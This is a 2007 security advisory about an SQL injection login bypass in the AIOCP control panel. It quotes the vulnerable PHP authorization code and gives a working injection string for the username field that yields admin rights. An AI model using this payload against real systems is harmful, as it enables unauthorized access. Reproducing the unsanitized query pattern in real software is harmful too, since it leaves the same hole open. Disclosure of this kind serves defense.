Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15716
HistoryJan 13, 2007 - 12:00 a.m.

AIOCP Login Bypass Vulnerability

2007-01-1300:00:00
vulners.com
29

[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: [email protected]
[i] Date: 9.1.2007

[i] Spec: AIOCP doesn't check the username posted by the client before using this to check authentication, so SQL Injection is possible
Example shows how to bypass login
[i] Other infos: This works with magic_quotes_gpc = Off
[i] Workaround: Edit source code to properly check username
No official patch is yet available

[Analysis]

[Unique Step] File: AIOCP/shared/code/cp_authorization.php

90  if &#40;&#40;isset&#40;$_POST[&#39;logaction&#39;]&#41;&#41; AND &#40;$_POST[&#39;logaction&#39;] == &quot;login&quot;&#41;&#41; {
91          $xuser_password = md5&#40;$_POST[&#39;xuser_password&#39;]&#41;; // one-way password encoding
92          // check if submitted login information are correct
93          $sql = &quot;SELECT * FROM &quot;.K_TABLE_USERS.&quot; WHERE user_name=&#39;&quot;.$_POST[&#39;xuser_name&#39;].&quot;&#39; AND user_password=&#39;&quot;.$xuser_password.&quot;&#39;&quot;;
94          if&#40;$r = F_aiocpdb_query&#40;$sql, $db&#41;&#41; {
95                  if&#40;$m = F_aiocpdb_fetch_array&#40;$r&#41;&#41; {
96                          // sets some user&#39;s session data
97                          $_SESSION[&#39;session_user_id&#39;] = $m[&#39;user_id&#39;];
98                          $_SESSION[&#39;session_user_name&#39;] = $m[&#39;user_name&#39;];
99                          $_SESSION[&#39;session_user_ip&#39;] = $_SERVER[&#39;REMOTE_ADDR&#39;];

100 $_SESSION['session_user_level'] = $m['user_level'];
101 $_SESSION['session_user_language'] = $m['user_language'];
102 $_SESSION['session_alt_menu'] = 0; //default alternative menu disabled
103 // read client cookie
104 if(isset($_COOKIE['LastVisit'])) {
105 $_SESSION['session_last_visit'] = $_COOKIE['LastVisit'];
106 }
107 else {
108 $_SESSION['session_last_visit'] = 0;
109 }
110 $logged=TRUE;
111 }
112 else {
113 F_print_error("WARNING", $l['m_login_wrong']);
114 }
115 }
116 else {
117 F_display_db_error();
118 }
119 }

Parameters username and password are posted by the user on any login form. Password is crypted with md5() so it
cannot be used to perform any attack. Otherwise username isn't checked before the SQL query is performed.

[POC]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: [sql]
Password: <any password>

[Exploit example]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='
Password: <any password>

So you 'll get admin rights. (you 'll get rights of user with id = 2, usually admin)

Note: You have to substitute user_id = '<user_id>' with some existing user_id… usually 2 is admin user id